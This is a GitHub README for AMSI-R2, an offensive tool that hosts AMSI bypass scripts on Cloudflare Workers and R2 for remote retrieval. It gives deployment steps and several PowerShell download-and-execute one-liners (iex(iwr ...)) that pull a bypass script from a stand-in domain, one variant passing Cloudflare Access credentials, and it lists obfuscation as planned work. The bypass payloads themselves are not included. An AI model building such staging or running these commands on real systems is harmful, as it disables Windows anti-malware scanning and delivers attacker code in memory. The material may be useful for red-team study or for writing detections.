Skip to content

Easy access to your AMSI bypass script with Cloudflare Workers and R2 bucket

License

Notifications You must be signed in to change notification settings

yack-security/AMSI-R2

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

AMSI-R2

Summary

Easy access to your amsi bypass script with Cloudflare workers and R2 bucket. If no "payload id" is given, the workers will select one randomly.

random

payload-id

Description

Cloudflare worker function that selects a AMSI bypass file from a folder in a Cloudflare R2 bucket. The idea came from Flangvik AMSI.fail.

Features

  • Using Cloudflare Workers and R2 feature (free tier is enough)
  • Protect your endpoint behind CF zero-trust (free for 1-50 users)
  • Deploy with Github actions

Things you need

  • Cloudflare account (you will need your account id)
  • Cloudflare API token. Doc here
  • Create a R2 bucket
  • In your new R2 bucket, create a folder which will contain your AMSI bypass scripts. And obviously... add your scripts in that folder.
  • Fork or clone the project
  • Setup Github secrets repository
  • A domain setup in CF to use the custom domain feature.
  • You don't have to do any modifcation in wrangler.toml (except if you want to change the name of your worker or if you don't want to use a custom domain). We are using Github secrets to setup the wrangler.toml file.

note: to use without custom domain(not recommended), you will need to modify 2 things:

  • remove the 3rd sed command in .github/workflows/deploy.yml
  • remove the route section in wrangler.toml

Installation

# fork the project
# setup secrets, R2, etc.
git clone https://github.com/<your-user>/AMSI-R2.git
cd AMSI-R2
# ...
git push -u origin main
# go see your workers in cloudflare interface

How to use

# ex: random
curl "https://subdomain.yourdomain.com/<folder-name>"
iex(iwr -UseBasicParsing -Uri 'https://subdomain.yourdomain.com/<folder-name>');
# specific amsi bypass script
curl "https://subdomain.yourdomain.com/<folder-name>?payload=<the-payload-id>"
iex(iwr -UseBasicParsing -Uri 'https://subdomain.yourdomain.com/<folder-name>?payload=<the-payload-id>');
###
curl "https://amsi-r2.example.com/amsibypass"
iex(iwr -UseBasicParsing -Uri 'https://amsi-r2.example.com/amsibypass');
#
curl "https://amsi-r2.example.com/amsibypass?payload=2"
iex(iwr -UseBasicParsing -Uri 'https://amsi-r2.example.com/amsibypass?payload=2');

How to use with CF zero-trust

# curl command to access behind the zero-trust
curl "https://amsi-r2.example.com/amsibypass" -H "CF-Access-Client-Id: <your-CF-Access-Client-Id>" -H "CF-Access-Client-Secret: <your-CF-Access-Client-Secret>"
iex(iwr -UseBasicParsing -Uri 'https://amsi-r2.example.com/amsibypass' -Headers @{'CF-Access-Client-Id' = '<your-CF-Access-Client-Id>'; 'CF-Access-Client-Secret' = '<your-CF-Access-Client-Secret>'});
#
curl "https://amsi-r2.example.com/amsibypass?payload=2" -H "CF-Access-Client-Id: <your-CF-Access-Client-Id>" -H "CF-Access-Client-Secret: <your-CF-Access-Client-Secret>"
iex(iwr -UseBasicParsing -Uri 'https://amsi-r2.example.com/amsibypass?payload=2' -Headers @{'CF-Access-Client-Id' = '<your-CF-Access-Client-Id>'; 'CF-Access-Client-Secret' = '<your-CF-Access-Client-Secret>'});

Todo

Integrate the logic/obfuscation of AMSI.fail

Credits

About

Easy access to your AMSI bypass script with Cloudflare Workers and R2 bucket

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published